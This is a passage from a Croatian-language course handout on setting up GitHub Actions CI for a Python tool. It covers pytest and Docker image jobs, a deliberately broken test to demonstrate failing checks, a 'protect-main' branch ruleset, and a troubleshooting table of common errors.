          python-version: "3.13"
          cache: pip
          cache-dependency-path: requirements*.txt

      - name: Install dependencies
        run: pip install -r requirements-dev.txt

      - name: Unit tests
        run: python -m pytest -v --junitxml=pytest-report.xml

      - name: Upload the test report
        if: always()
        uses: actions/upload-artifact@v7
        with:
          name: pytest-report
          path: pytest-report.xml
```

| Ključ | Što radi |
|---|---|
| `pull_request` s `types:` | samo dva događaja PR-a: otvaranje i novi commit; to su upravo trenuci kad treba provjeriti kod koji ide u `main` |
| `python-version: "3.13"` | ista verzija kao u slici (`python:3.13-alpine`): runner i kontejner testiraju isti Python |
| `cache: pip` | preuzeti wheelovi se čuvaju između pokretanja; ključ je sažetak `requirements*.txt` |
| `if: always()` | izvještaj se uploada i kad testovi padnu, upravo onda nam treba |

```
git add Dockerfile.test .github/workflows/ci.yml
git commit -m "<type>: run unit tests on pull requests"
```

```
git push -u origin HEAD
gh pr create --base main --title "<type>: add CI for tests and Docker image"
--body "Week 5, part 3."
gh pr checks --watch
```

### 3.3 Job `docker`: build, smoke test i testovi u slici

Na kraj `ci.yml` (na razini joba `test`) dodati:

```
  docker:
    needs: test
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7

      - name: Read the version
        id: version
        run: echo "version=$(cat version.txt)" >> "$GITHUB_OUTPUT"

      - uses: docker/setup-buildx-action@v4

      - name: Build the image
        uses: docker/build-push-action@v7
        with:
          context: .
          load: true
          tags: |
            praktikum-llm:ci
            praktikum-llm:${{ steps.version.outputs.version }}
          cache-from: type=gha,scope=runtime
          cache-to: type=gha,scope=runtime,mode=max

      - name: Smoke test the image
        env:
          VERSION: ${{ steps.version.outputs.version }}
        run: |
          docker image ls praktikum-llm
          docker run --rm praktikum-llm:ci --version
          test "$(docker run --rm praktikum-llm:ci --version)" = "llm
$VERSION"

      - name: Build the test image
        uses: docker/build-push-action@v7
        with:
          context: .
          file: Dockerfile.test
          load: true
          tags: praktikum-llm-tests:ci
          cache-from: type=gha,scope=tests
          cache-to: type=gha,scope=tests,mode=max
```

```
      - name: Unit tests inside the container
        run: docker run --rm praktikum-llm-tests:ci
```

- `needs: test`: `docker` počinje tek kad je `test` zelen.
- `load: true` ostavlja sliku u Dockeru runnera (za `docker run`); `push` je isključen, slika ne ide u registar: na PR-u samo provjeravamo da se gradi i radi. Objava na `ghcr.io` je u `publish.yml` (dio 2), samo na ručno pokretanje.
- `cache-from`/`cache-to: type=gha` spremaju slojeve slike u GitHubov cache: stroj nestaje, cache ostaje, pa drugi build preskače `pip install` ako se `requirements.txt` nije promijenio (usporediti trajanje koraka `Build the image` u prvom i drugom pokretanju).
- **Smoke test** je najkraća provjera da slika uopće radi: pokreće se i ispisuje točnu verziju.

```
git add .github/workflows/ci.yml
git commit -m "<type>: build and test the Docker image in CI"
git push
gh pr checks --watch                    # test, docker
```

Na stranici pokretanja pogledati graf jobova (`test` → `docker`) i preuzeti artefakt `pytest-report`.

### 3.4 Crveno pa zeleno

U `tests/test_version.py` u zadnjem testu privremeno zamijeniti `"0.0.0"` s `"0.0.1"`:

```
git commit -am "test: break a test on purpose"
git push
gh pr checks --watch                    # test fails, docker is skipped
gh run view --log-failed                # the assertion from pytest,
straight from the runner
git revert --no-edit HEAD
git push
gh pr checks --watch                    # green again
```

Primijetiti: `docker` se uopće nije pokrenuo (`needs: test`), a artefakt `pytest-report` je ipak tu (`if: always()`). PR s crvenom provjerom ne bi smio u `main`, ali GitHub ga zasad ne sprječava: gumb *Merge* je i dalje zelen. To popravljamo u zadnjem koraku.

**Poruka završnog commita i naslov PR-a.** CI ne mijenja ponašanje alata, pa ne povećava verziju; odgovarajući tip pronađite u Conventional Commits (u naredbama piše `<type>`). Naslov PR-a se mijenja s `gh pr edit --title "..."`.

### 3.5 Merge tek nakon zelenog CI-a

Posljednji zadatak: `main` mora prihvaćati samo kod koji je prošao CI. To nije dio workflowa nego **postavka repozitorija** (ruleset).

Na GitHubu: *Settings* → *Rules* → *Rulesets* → *New ruleset* → *New branch ruleset*:

| Polje | Vrijednost |
|---|---|
| Ruleset Name | `protect-main` |
| Enforcement status | `Active` |
| Bypass list | *Add bypass* → *Repository admin*, način *For pull requests only* (zbog release PR-a, vidi ispod) |
| Target branches | *Add target* → *Include default branch* (`main`) |
| Restrict deletions | uključeno |
| Require a pull request before merging | uključeno; *Required approvals*: `0` (radite sami) |
| Require status checks to pass | uključeno; *Add checks* → `test` i `docker` (izvor: GitHub Actions) |
| Block force pushes | uključeno |

*Create*. Provjera se u popisu nudi tek kad se barem jednom izvela na repozitoriju, zato ovaj korak dolazi nakon 3.2 do 3.4. Ime provjere je ime joba (`test`, `docker`), a ne ime workflowa (`ci`).

Isto iz terminala, ako vam je draže (ruleset kao JSON prema GitHub API-ju):

```
REPO=$(gh repo view --json nameWithOwner -q .nameWithOwner)
gh api -X POST "repos/$REPO/rulesets" --input - <<'EOF'
{
  "name": "protect-main",
  "target": "branch",
  "enforcement": "active",
  "bypass_actors": [{"actor_id": 5, "actor_type": "RepositoryRole",
"bypass_mode": "pull_request"}],
  "conditions": {"ref_name": {"include": ["~DEFAULT_BRANCH"], "exclude":
[]}},
  "rules": [
    {"type": "deletion"},
    {"type": "non_fast_forward"},
    {"type": "pull_request", "parameters": {
      "required_approving_review_count": 0,
      "dismiss_stale_reviews_on_push": false,
      "require_code_owner_review": false,
      "require_last_push_approval": false,
      "required_review_thread_resolution": false}},
    {"type": "required_status_checks", "parameters": {
      "strict_required_status_checks_policy": false,
      "required_status_checks": [{"context": "test"}, {"context":
"docker"}]}}
  ]
}
EOF
gh api "repos/$REPO/rulesets" -q '.[].name'          # protect-main
```

**Provjera 1: izravan push u `main` je odbijen.**

```
git checkout main && git pull
git commit --allow-empty -m "chore: try to skip the pull request"
git push                                  # rejected: GH013 Repository rule
violations, changes must be made through a pull request
git reset --hard origin/main              # throw the local commit away
```

**Provjera 2: crveni PR se ne može spojiti.** Na grani `feature/ci` ponoviti namjerno pokvaren test iz koraka 3.4:

```
git checkout feature/ci
git commit -am "test: break a test on purpose (again)"
git push                                  # synchronize -> ci runs
gh pr checks --watch                      # test fails, docker is skipped
gh pr view --json mergeStateStatus -q .mergeStateStatus   # BLOCKED
git revert --no-edit HEAD && git push
gh pr checks --watch                      # green again
gh pr view --json mergeStateStatus -q .mergeStateStatus   # CLEAN
```

Na stranici PR-a uz `test` i `docker` sada piše *Required*, a gumb *Merge* je onemogućen dok obje provjere nisu zelene.

Od sada se u `main` ulazi samo kroz PR: lokalni `git merge` + `git push` u `main` (kao u dijelovima 1 i 2) više ne prolazi. PR se spaja na GitHubu ili s `gh pr merge`, i to tek kad je CI zelen. Pazite na release-please: njegov release PR otvara `GITHUB_TOKEN`, a događaji koje stvori `GITHUB_TOKEN` ne pokreću nove workflowe. Na release PR-u `ci` zato ne krene i obavezne provjere ostaju *Expected*. Zato je u rulesetu uloga *Repository admin* (vi) na *Bypass list* u načinu *For pull requests only*: release PR spajate s *Merge without waiting for requirements to be met*, a izravan push u `main` i dalje je odbijen.

**Predaja dijela 3 (praktični zadatak 5):** otvoren PR iz `feature/ci` sa zelenim provjerama i crvenim pokretanjima u povijesti, te aktivan ruleset `protect-main` (kriteriji 1–6). PR ne spajati sami.

---

## Česti problemi

| Simptom | Rješenje |
|---|---|
| `git push` odbijen: `refusing to allow an OAuth App to create or update workflow ... without workflow scope` | `gh auth refresh -s workflow`, pa ponovno `git push` |
| Workflow se ne pokreće nakon pusha | Datoteka mora biti točno u `.github/workflows/` i imati nastavak `.yml` ili `.yaml`; YAML greška se vidi na kartici *Actions* (`Invalid workflow file`) |

| Simptom | Rješenje |
|---|---|
| `gh workflow run` javlja `could not find any workflows named hello.yml` ili nema gumba *Run workflow* | `workflow_dispatch` radi samo kad je datoteka na zadanoj grani: spojiti PR u `main` |
| `HTTP 422: Unexpected inputs provided` | Ime u `-f ime=...` mora odgovarati ključu pod `workflow_dispatch.inputs` |
| `ls` ne pokazuje kod, `cat version.txt`: `No such file or directory` | Korak je prije `actions/checkout`, ili je u drugom jobu bez checkouta |
| Izlaz joba je prazan u drugom jobu | `outputs:` joba mora pokazivati na `steps.<id>.outputs.<ime>`, a korak mora imati `id:` i pisati u `$GITHUB_OUTPUT` (ne `echo "::set-output ..."`, to je ukinuto) |
| `publish` pada s `invalid-publisher` | Polja pending publishera na TestPyPI-ju se ne slažu s pokretanjem: provjeriti vlasnika (organizacija), ime repozitorija, `publish.yml` i okruženje `testpypi` (velika i mala slova) |
| `publish` pada s `400 File already exists` | Ta verzija je već objavljena: nova verzija (release PR, `version.txt`) pa ponovno pokretanje |
| `image`: `denied: permission_denied: write_package` ili `installation not allowed to Create organization package` | Job nema `permissions: packages: write`, ili organizacija ne dopušta stvaranje paketa (nastavnik: *Organization settings* → *Packages*) |
| `image`: `invalid reference format: repository name must be lowercase` | GitHub login ima velika slova: u `tags:` umjesto `${{ github.repository }}` upisati ime malim slovima |
| `docker pull ghcr.io/...`: `unauthorized` ili `denied` | Lokalno niste prijavljeni u `ghcr.io` ili token nema `read:packages` (`gh auth refresh -s read:packages`, pa ponovno `docker login`) |
| `publish` pada s `403 ... isn't allowed to upload to project` | Ime paketa je zauzeto (netko drugi ga je objavio): ime mora sadržavati vaš login |
| `twine check` javlja `long_description` warning | `README.md` je prazan ili ne postoji |
| `verify`: `No matching distribution found` | TestPyPI treba malo vremena; petlja pokušava 6 puta. Ako i dalje ne prolazi, provjeriti ime i verziju na stranici paketa |
| `llm --version` nakon `pip install` ispisuje `llm 0.0.0` | `read_version()` nije zamijenjen (korak 2.3), ili je instalirana starija verzija s TestPyPI-ja |
| Job `docker`: `ERROR: failed to read dockerfile: open Dockerfile.test` | `Dockerfile.test` nije commitan |

| Simptom | Rješenje |
|---|---|
| U rulesetu se pod *Add checks* ne nude `test` i `docker` | Provjere se nude tek nakon što su se barem jednom izvele: prvo korak 3.2 do 3.4, zatim ruleset. Ime upisati točno kao ime joba |
| PR stoji na *Expected — Waiting for status to be reported* | Obavezna provjera se nikad nije pokrenula za taj commit: `ci` se pokreće samo na `opened` i `synchronize`, pa nakon `reopened` treba novi push (ili *Re-run jobs*); ili se ime provjere u rulesetu ne poklapa s imenom joba |
| `git push` u `main`: `GH013: Repository rule violations found` | Očekivano nakon koraka 3.5: promjene idu kroz PR |
| Job `docker` je *skipped* | Job `test` nije zelen (`needs: test`) |
| Open WebUI nakon nadogradnje ne starta, u logu greška migracije | `docker compose logs open-webui`; povratak: `docker compose down`, `docker volume rm praktikum_open-webui-data`, raspakirati sigurnosnu kopiju u novi volumen i vratiti tag `v0.7.2` |
| Previše potrošenih minuta | `paths:` filtri, cache; svaki job se naplaćuje zaokruženo na cijelu minutu |